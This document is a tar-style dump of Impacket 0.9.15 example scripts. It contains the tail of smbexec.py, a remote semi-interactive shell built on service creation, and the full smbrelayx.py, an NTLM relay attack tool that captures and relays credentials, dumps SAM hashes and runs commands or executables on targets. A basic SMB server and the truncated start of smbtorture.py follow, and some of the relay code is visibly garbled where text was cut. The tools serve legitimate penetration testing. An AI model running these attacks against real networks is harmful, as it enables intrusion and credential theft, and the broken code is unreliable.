self.__command = ''
self.__shell = '%COMSPEC% /Q /c '
self.__serviceName = serviceName
self.__rpc = rpc
self.intro = '[!] Launching semi-interactive shell - Careful what you execute'
self.__scmr = rpc.get_dce_rpc()
try:
self.__scmr.connect()
except Exception, e:
logging.critical(str(e))
sys.exit(1)
s = rpc.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
if mode == 'SERVER':
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
self.transferClient = rpc.get_smb_connection()
self.do_cd('')
def finish(self):
# Just in case the service is still created
try:
self.__scmr = self.__rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
service = resp['lpServiceHandle']
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)
except:
pass
def do_shell(self, s):
os.system(s)
def do_exit(self, s):
return True
def emptyline(self):
return False
def do_cd(self, s):
# We just can't CD or mantain track of the target dir.
if len(s) > 0:
logging.error("You can't CD under SMBEXEC. Use full paths.")
self.execute_remote('cd ' )
if len(self.__outputBuffer) > 0:
# Stripping CR/LF
self.prompt = string.replace(self.__outputBuffer,'\r\n','') + '>'
self.__outputBuffer = ''
def do_CD(self, s):
return self.do_cd(s)
def default(self, line):
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
self.__outputBuffer += data
if self.__mode == 'SHARE':
self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback)
self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME)
else:
fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r')
output_callback(fd.read())
fd.close()
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
def execute_remote(self, data):
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \
self.__shell + self.__batchFile
if self.__mode == 'SERVER':
command += ' & ' + self.__copyBack
command += ' & ' + 'del ' + self.__batchFile
logging.debug('Executing %s' % command)
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
print self.__outputBuffer
self.__outputBuffer = ''
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser()
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')
parser.add_argument('-share', action='store', default = 'C$', help='share where the output will be grabbed from (default C$)')
parser.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default='SHARE', help='mode to use (default SHARE, SERVER needs root!)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('protocol', choices=CMDEXEC.KNOWN_PROTOCOLS.keys(), nargs='?', default='445/SMB', help='transport protocol (default 445/SMB)')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
try:
executer = CMDEXEC(options.protocol, username, password, domain, options.hashes, options.aesKey, options.k,
options.dc_ip, options.mode, options.share)
executer.run(address)
except Exception, e:
logging.critical(str(e))
sys.exit(0)
impacket-0.9.15/examples/smbrelayx.py 0000700 0000765 0000000 00000144507 12734531507 017663 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2013-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# SMB Relay Module
#
# Author:
# Alberto Solino (@agsolino)
#
# Description:
# This module performs the SMB Relay attacks originally discovered
# by cDc. It receives a list of targets and for every connection received it
# will choose the next target and try to relay the credentials. Also, if
# specified, it will first to try authenticate against the client connecting
# to us.
#
# It is implemented by invoking a SMB and HTTP Server, hooking to a few
# functions and then using the smbclient portion. It is supposed to be
# working on any LM Compatibility level. The only way to stop this attack
# is to enforce on the server SPN checks and or signing.
#
# If the target system is enforcing signing and a machine account was provided,
# the module will try to gather the SMB session key through
# NETLOGON (CVE-2015-0005)
#
# If the authentication against the targets succeed, the client authentication
# success as well and a valid connection is set against the local smbserver.
# It's up to the user to set up the local smbserver functionality. One option
# is to set up shares with whatever files you want to the victim thinks it's
# connected to a valid SMB server. All that is done through the smb.conf file or
# programmatically.
#
import ConfigParser
import SimpleHTTPServer
import SocketServer
import argparse
import base64
import logging
import os
import sys
from binascii import unhexlify, hexlify
from struct import pack, unpack
from threading import Thread
from impacket import version
from impacket.dcerpc.v5 import nrpc
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NULL
from impacket.examples import logger
from impacket.examples import serviceinstall
from impacket.nt_errors import ERROR_MESSAGES
from impacket.nt_errors import STATUS_LOGON_FAILURE, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NOT_SUPPORTED, \
STATUS_MORE_PROCESSING_REQUIRED
from impacket.ntlm import NTLMAuthChallengeResponse, NTLMAuthNegotiate, NTLMAuthChallenge, AV_PAIRS, \
NTLMSSP_AV_HOSTNAME, generateEncryptedSessionKey
from impacket.smb import NewSMBPacket, SMBCommand, SMB, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Extended_Data, \
SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Extended_Response_Data, \
SMBSessionSetupAndX_Parameters, SMBSessionSetupAndX_Extended_Parameters, TypesMech, \
SMBSessionSetupAndXResponse_Parameters, SMBSessionSetupAndXResponse_Data
from impacket.smb3 import SMB3
from impacket.smbconnection import SMBConnection
from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile, SMBSERVER
from impacket.spnego import ASN1_AID, SPNEGO_NegTokenResp, SPNEGO_NegTokenInit
from impacket.dcerpc.v5.rpcrt import DCERPCException
try:
from Crypto.Cipher import DES, AES, ARC4
except Exception:
logging.critical("Warning: You don't have any crypto installed. You need PyCrypto")
logging.critical("See http://www.pycrypto.org/")
# Global Variables
# This is the list of hosts that have been attacked already in case -one-shot was chosen
ATTACKED_HOSTS = set()
class doAttack(Thread):
def __init__(self, SMBClient, exeFile, command):
Thread.__init__(self)
if isinstance(SMBClient, SMB) or isinstance(SMBClient, SMB3):
self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
else:
self.__SMBConnection = SMBClient
self.__exeFile = exeFile
self.__command = command
self.__answerTMP = ''
if exeFile is not None:
self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)
def __answer(self, data):
self.__answerTMP += data
def run(self):
# Here PUT YOUR CODE!
global ATTACKED_HOSTS
if self.__exeFile is not None:
result = self.installService.install()
if result is True:
logging.info("Service Installed.. CONNECT!")
self.installService.uninstall()
else:
ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
else:
from secretsdump import RemoteOperations, SAMHashes
samHashes = None
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
flags2 |= SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
except Exception, e:
# Something wen't wrong, most probably we don't have access as admin. aborting
logging.error(str(e))
ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
return
try:
if self.__command is not None:
remoteOps._RemoteOperations__executeRemote(self.__command)
logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
self.__answerTMP = ''
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
print self.__answerTMP
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
else:
bootKey = remoteOps.getBootKey()
remoteOps._RemoteOperations__serviceDeleted = True
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
samHashes.dump()
logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
except Exception, e:
ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
logging.error(str(e))
finally:
if samHashes is not None:
samHashes.finish()
if remoteOps is not None:
remoteOps.finish()
class SMBClient(SMB):
def __init__(self, remote_name, extended_security = True, sess_port = 445):
self._extendedSecurity = extended_security
self.domainIp = None
self.machineAccount = None
self.machineHashes = None
SMB.__init__(self,remote_name, remote_name, sess_port = sess_port)
def neg_session(self):
neg_sess = SMB.neg_session(self, extended_security = self._extendedSecurity)
return neg_sess
def setUid(self,uid):
self._uid = uid
def login_standard(self, user, domain, ansiPwd, unicodePwd):
smb = NewSMBPacket()
smb['Flags1'] = 8
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Data()
sessionSetup['Parameters']['MaxBuffer'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VCNumber'] = os.getpid()
sessionSetup['Parameters']['SessionKey'] = self._dialects_parameters['SessionKey']
sessionSetup['Parameters']['AnsiPwdLength'] = len(ansiPwd)
sessionSetup['Parameters']['UnicodePwdLength'] = len(unicodePwd)
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE
sessionSetup['Data']['AnsiPwd'] = ansiPwd
sessionSetup['Data']['UnicodePwd'] = unicodePwd
sessionSetup['Data']['Account'] = str(user)
sessionSetup['Data']['PrimaryDomain'] = str(domain)
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
smb.addCommand(sessionSetup)
self.sendSMB(smb)
smb = self.recvSMB()
try:
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
except:
logging.error("Error login_standard")
return None, STATUS_LOGON_FAILURE
else:
self._uid = smb['Uid']
return smb, STATUS_SUCCESS
def setDomainAccount( self, machineAccount, machineHashes, domainIp):
self.machineAccount = machineAccount
self.machineHashes = machineHashes
self.domainIp = domainIp
if self._SignatureRequired is True:
if self.domainIp is None:
logging.error("Signature is REQUIRED on the other end, attack will not work")
else:
logging.info("Signature is REQUIRED on the other end, using NETLOGON approach")
def netlogonSessionKey(self, challenge, authenticateMessageBlob):
# Here we will use netlogon to get the signing session key
logging.info("Connecting to %s NETLOGON service" % self.domainIp)
respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
authenticateMessage = NTLMAuthChallengeResponse()
authenticateMessage.fromString(respToken2['ResponseToken'] )
_, machineAccount = self.machineAccount.split('/')
domainName = authenticateMessage['domain_name'].decode('utf-16le')
try:
av_pairs = authenticateMessage['ntlm'][44:]
av_pairs = AV_PAIRS(av_pairs)
serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
except:
# We're in NTLMv1, not supported
return STATUS_ACCESS_DENIED
stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if len(self.machineHashes) > 0:
lmhash, nthash = self.machineHashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(machineAccount,'', domainName, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(nrpc.MSRPC_UUID_NRPC)
resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', '12345678')
serverChallenge = resp['ServerChallenge']
if self.machineHashes == '':
ntHash = None
else:
ntHash = unhexlify(self.machineHashes.split(':')[1])
sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash)
ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00',
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00',
ppp, 0x600FFFFF)
clientStoredCredential = pack('> 16
packet['ErrorClass'] = errorCode & 0xff
return None, [packet], STATUS_NOT_SUPPORTED
else:
logging.info("SMBD: Received connection from %s, attacking target %s" % (connData['ClientIP'] ,self.target))
try:
if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY == 0:
extSec = False
else:
if self.mode.upper() == 'REFLECTION':
# Force standard security when doing reflection
logging.info("Downgrading to standard security")
extSec = False
recvPacket['Flags2'] += (~SMB.FLAGS2_EXTENDED_SECURITY)
else:
extSec = True
client = SMBClient(self.target, extended_security = extSec)
client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp)
client.set_timeout(60)
except Exception, e:
logging.error("Connection against target %s FAILED" % self.target)
logging.error(str(e))
else:
encryptionKey = client.get_encryption_key()
smbData[self.target] = {}
smbData[self.target]['SMBClient'] = client
if encryptionKey is not None:
connData['EncryptionKey'] = encryptionKey
smbServer.setConnectionData('SMBRelay', smbData)
smbServer.setConnectionData(connId, connData)
return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
#############################################################
def SmbSessionSetupAndX(self, connId, smbServer, smbCommand, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus = False)
#############################################################
# SMBRelay
smbData = smbServer.getConnectionData('SMBRelay', False)
#############################################################
respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
global ATTACKED_HOSTS
if connData['_dialects_parameters']['Capabilities'] & SMB.CAP_EXTENDED_SECURITY:
# Extended security. Here we deal with all SPNEGO stuff
respParameters = SMBSessionSetupAndX_Extended_Response_Parameters()
respData = SMBSessionSetupAndX_Extended_Response_Data()
sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters'])
sessionSetupData = SMBSessionSetupAndX_Extended_Data()
sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
sessionSetupData.fromString(smbCommand['Data'])
connData['Capabilities'] = sessionSetupParameters['Capabilities']
if unpack('B',sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
# If there no GSSAPI ID, it must be an AUTH packet
blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
token = blob['ResponseToken']
else:
# NEGOTIATE packet
blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
token = blob['MechToken']
# Here we only handle NTLMSSP, depending on what stage of the
# authentication we are, we act on it
messageType = unpack('> 16
packet['ErrorClass'] = errorCode & 0xff
return None, [packet], STATUS_NOT_SUPPORTED
# It might happen if the target connects back before a previous connection has finished, we might
# get to this function w/o having the dict and smbClient entry created, because a
# NEGOTIATE_CONNECTION was not needed
if smbData.has_key(self.target) is False:
smbData[self.target] = {}
smbClient = SMBClient(self.target)
smbClient.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp)
smbClient.set_timeout(60)
smbData[self.target]['SMBClient'] = smbClient
smbClient = smbData[self.target]['SMBClient']
clientChallengeMessage = smbClient.sendNegotiate(token)
challengeMessage = NTLMAuthChallenge()
challengeMessage.fromString(clientChallengeMessage)
#############################################################
respToken = SPNEGO_NegTokenResp()
# accept-incomplete. We want more data
respToken['NegResult'] = '\x01'
respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
respToken['ResponseToken'] = str(challengeMessage)
# Setting the packet to STATUS_MORE_PROCESSING
errorCode = STATUS_MORE_PROCESSING_REQUIRED
# Let's set up an UID for this connection and store it
# in the connection's data
# Picking a fixed value
# TODO: Manage more UIDs for the same session
connData['Uid'] = 10
# Let's store it in the connection data
connData['CHALLENGE_MESSAGE'] = challengeMessage
elif messageType == 0x03:
# AUTHENTICATE_MESSAGE, here we deal with authentication
#############################################################
# SMBRelay: Ok, so now the have the Auth token, let's send it
# back to the target system and hope for the best.
smbClient = smbData[self.target]['SMBClient']
authenticateMessage = NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
if authenticateMessage['user_name'] != '':
clientResponse, errorCode = smbClient.sendAuth(connData['CHALLENGE_MESSAGE']['challenge'],
sessionSetupData['SecurityBlob'])
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
errorCode = STATUS_ACCESS_DENIED
if errorCode != STATUS_SUCCESS:
# Let's return what the target returned, hope the client connects back again
packet = NewSMBPacket()
packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS
packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY
packet['Command'] = recvPacket['Command']
packet['Pid'] = recvPacket['Pid']
packet['Tid'] = recvPacket['Tid']
packet['Mid'] = recvPacket['Mid']
packet['Uid'] = recvPacket['Uid']
packet['Data'] = '\x00\x00\x00'
packet['ErrorCode'] = errorCode >> 16
packet['ErrorClass'] = errorCode & 0xff
# Reset the UID
smbClient.setUid(0)
logging.error("Authenticating against %s as %s\%s FAILED" % (
self.target, authenticateMessage['domain_name'], authenticateMessage['user_name']))
# del (smbData[self.target])
return None, [packet], errorCode
else:
# We have a session, create a thread and do whatever we want
logging.info("Authenticating against %s as %s\%s SUCCEED" % (
self.target, authenticateMessage['domain_name'], authenticateMessage['user_name']))
ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
authenticateMessage['user_name'],
authenticateMessage['domain_name'],
authenticateMessage['lanman'], authenticateMessage['ntlm'])
logging.info(ntlm_hash_data['hash_string'])
if self.server.getJTRdumpPath() != '':
writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
self.server.getJTRdumpPath())
del (smbData[self.target])
# Target will be attacked, adding to the attacked set
# If the attack fails, the doAttack thread will be responsible of removing it from the set
ATTACKED_HOSTS.add(self.target)
clientThread = doAttack(smbClient,self.exeFile,self.command)
clientThread.start()
# Now continue with the server
#############################################################
# Return status code of the authentication process.
errorCode = self.returnStatus
logging.info("Sending status code %s after authentication to %s" % (
ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP']))
respToken = SPNEGO_NegTokenResp()
# accept-completed
respToken['NegResult'] = '\x00'
# Status SUCCESS
# Let's store it in the connection data
connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
else:
raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
respParameters['SecurityBlobLength'] = len(respToken)
respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
respData['SecurityBlob'] = respToken.getData()
else:
# Process Standard Security
respParameters = SMBSessionSetupAndXResponse_Parameters()
respData = SMBSessionSetupAndXResponse_Data()
sessionSetupParameters = SMBSessionSetupAndX_Parameters(smbCommand['Parameters'])
sessionSetupData = SMBSessionSetupAndX_Data()
sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
sessionSetupData.fromString(smbCommand['Data'])
connData['Capabilities'] = sessionSetupParameters['Capabilities']
#############################################################
# SMBRelay
smbClient = smbData[self.target]['SMBClient']
if sessionSetupData['Account'] != '':
clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'],
sessionSetupData['PrimaryDomain'],
sessionSetupData['AnsiPwd'],
sessionSetupData['UnicodePwd'])
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
errorCode = STATUS_ACCESS_DENIED
if errorCode != STATUS_SUCCESS:
# Let's return what the target returned, hope the client connects back again
packet = NewSMBPacket()
packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS
packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY
packet['Command'] = recvPacket['Command']
packet['Pid'] = recvPacket['Pid']
packet['Tid'] = recvPacket['Tid']
packet['Mid'] = recvPacket['Mid']
packet['Uid'] = recvPacket['Uid']
packet['Data'] = '\x00\x00\x00'
packet['ErrorCode'] = errorCode >> 16
packet['ErrorClass'] = errorCode & 0xff
# Reset the UID
smbClient.setUid(0)
return None, [packet], errorCode
# Now continue with the server
else:
# We have a session, create a thread and do whatever we want
ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'],
sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
logging.info(ntlm_hash_data['hash_string'])
if self.server.getJTRdumpPath() != '':
writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
self.server.getJTRdumpPath())
# Remove the target server from our connection list, the work is done
del (smbData[self.target])
# Target will be attacked, adding to the attacked set
# If the attack fails, the doAttack thread will be responsible of removing it from the set
ATTACKED_HOSTS.add(self.target)
clientThread = doAttack(smbClient, self.exeFile, self.command)
clientThread.start()
# Now continue with the server
#############################################################
# Do the verification here, for just now we grant access
# TODO: Manage more UIDs for the same session
errorCode = self.returnStatus
logging.info("Sending status code %s after authentication to %s" % (
ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP']))
connData['Uid'] = 10
respParameters['Action'] = 0
respData['NativeOS'] = smbServer.getServerOS()
respData['NativeLanMan'] = smbServer.getServerOS()
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
# From now on, the client can ask for other commands
connData['Authenticated'] = True
#############################################################
# SMBRelay
smbServer.setConnectionData('SMBRelay', smbData)
#############################################################
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
def _start(self):
self.server.serve_forever()
def run(self):
logging.info("Setting up SMB Server")
self._start()
def setTargets(self, targets):
self.target = targets
def setExeFile(self, filename):
self.exeFile = filename
def setCommand(self, command):
self.command = command
def setReturnStatus(self, returnStatus):
# Specifies return status after successful relayed authentication to return
# to the connecting client. This comes useful when we don't want the connecting
# client to store successful credentials in his memory. Valid statuses:
# STATUS_SUCCESS - denotes that the connecting client passed valid credentials,
# which will make him store them accordingly.
# STATUS_ACCESS_DENIED - may occur for instance when the client is not a Domain Admin,
# and got configured Remote UAC, thus preventing connection to ADMIN$
# STATUS_LOGON_FAILURE - which will tell the connecting client that the passed credentials
# are invalid.
self.returnStatus = {
'success' : STATUS_SUCCESS,
'denied' : STATUS_ACCESS_DENIED,
'logon_failure' : STATUS_LOGON_FAILURE
}[returnStatus.lower()]
def setMode(self,mode, one_shot):
self.mode = mode
self.one_shot = one_shot
def setDomainAccount( self, machineAccount, machineHashes, domainIp):
self.machineAccount = machineAccount
self.machineHashes = machineHashes
self.domainIp = domainIp
# Process command-line arguments.
if __name__ == '__main__':
RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer )
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help=False,
description="For every connection received, this module will try to SMB relay that "
" connection to the target system or the original client")
parser.add_argument("--help", action="help", help='show this help message and exit')
parser.add_argument('-h', action='store', metavar='HOST',
help='Host to relay the credentials to, if not it will relay it back to the client')
parser.add_argument('-s', action='store', choices={'success', 'denied', 'logon_failure'}, default='success',
help='Status to return after client performed authentication. Default: "success".')
parser.add_argument('-e', action='store', required=False, metavar='FILE',
help='File to execute on the target system. If not specified, hashes will be dumped '
'(secretsdump.py must be in the same directory)')
parser.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND',
help='Command to execute on target system. If not specified, hashes will be dumped '
'(secretsdump.py must be in the same directory)')
parser.add_argument('-one-shot', action='store_true', default=False,
help='After successful authentication, only execute the attack once for each target')
parser.add_argument('-outputfile', action='store',
help='base output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2')
parser.add_argument('-machine-account', action='store', required=False,
help='Domain machine account to use when interacting with the domain to grab a session key for '
'signing, format is domain/machine_name')
parser.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH",
help='Domain machine hashes, format is LMHASH:NTHASH')
parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON')
try:
options = parser.parse_args()
except Exception, e:
logging.error(str(e))
sys.exit(1)
if options.h is not None:
logging.info("Running in relay mode")
mode = 'RELAY'
targetSystem = options.h
else:
logging.info("Running in reflection mode")
targetSystem = None
mode = 'REFLECTION'
exeFile = options.e
Command = options.c
returnStatus = options.s
for server in RELAY_SERVERS:
s = server(options.outputfile)
s.setTargets(targetSystem)
s.setExeFile(exeFile)
s.setCommand(Command)
s.setReturnStatus(returnStatus)
s.setMode(mode, options.one_shot)
if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None:
s.setDomainAccount( options.machine_account, options.machine_hashes, options.domain)
elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False:
logging.error("You must specify machine-account/hashes/domain all together!")
sys.exit(1)
s.start()
print ""
logging.info("Servers started, waiting for connections")
while True:
try:
sys.stdin.read()
except KeyboardInterrupt:
sys.exit(1)
else:
pass
impacket-0.9.15/examples/smbserver.py 0000700 0000765 0000000 00000004447 12734531507 017663 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Simple SMB Server example.
#
# Author:
# Alberto Solino (@agsolino)
#
import sys
import argparse
import logging
from impacket.examples import logger
from impacket import smbserver, version
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a share specified as an argument. You need to be root in order to bind to port 445. No authentication will be enforced. Example: smbserver.py -comment 'My share' TMP /tmp")
parser.add_argument('shareName', action='store', help='name of the share to add')
parser.add_argument('sharePath', action='store', help='path of the share to add')
parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
try:
options = parser.parse_args()
except Exception, e:
logging.critical(str(e))
sys.exit(1)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
if options.comment is None:
comment = ''
else:
comment = options.comment
server = smbserver.SimpleSMBServer()
server.addShare(options.shareName.upper(), options.sharePath, comment)
server.setSMB2Support(options.smb2support)
# Here you can set a custom SMB challenge in hex format
# If empty defaults to '4141414141414141'
# (remember: must be 16 hex bytes long)
# e.g. server.setSMBChallenge('12345678abcdef00')
server.setSMBChallenge('')
# If you don't want log to stdout, comment the following line
# If you want log dumped to a file, enter the filename
server.setLogFile('')
# Rock and roll
server.start()
impacket-0.9.15/examples/smbtorture.py 0000700 0000765 0000000 00000042721 12734531507 020056 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Parses a pcap file or sniffes traffic from the net and checks the SMB structs for errors.
# Log the error packets in outFile
#
# Author:
# Alberto Solino
#
# ToDo:
# [ ] Add more SMB Commands
# [ ] Do the same for DCERPC
import struct
from select import select
import socket
import argparse
from impacket import pcapfile, smb, nmb, ntlm, version
from impacket import ImpactPacket, ImpactDecoder, structure
# Command handler
def smbTransaction2( packet, packetNum, SMBCommand, questions, replies):
# Test return code is always 0, otherwise leave before doing anything
if packet['ErrorCode'] != 0:
return False
print "SMB_COM_TRANSACTION2 ",
try:
if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
# Query
trans2Parameters= smb.SMBTransaction2_Parameters(SMBCommand['Parameters'])
# Do the stuff
if trans2Parameters['ParameterCount'] != trans2Parameters['TotalParameterCount']:
# TODO: Handle partial parameters
#print "Unsupported partial parameters in TRANSACT2!"
raise Exception("Unsupported partial parameters in TRANSACT2!")
else:
trans2Data = smb.SMBTransaction2_Data()
# Standard says servers shouldn't trust Parameters and Data comes
# in order, so we have to parse the offsets, ugly
paramCount = trans2Parameters['ParameterCount']
trans2Data['Trans_ParametersLength'] = paramCount
dataCount = trans2Parameters['DataCount']
trans2Data['Trans_DataLength'] = dataCount
if trans2Parameters['ParameterOffset'] > 0:
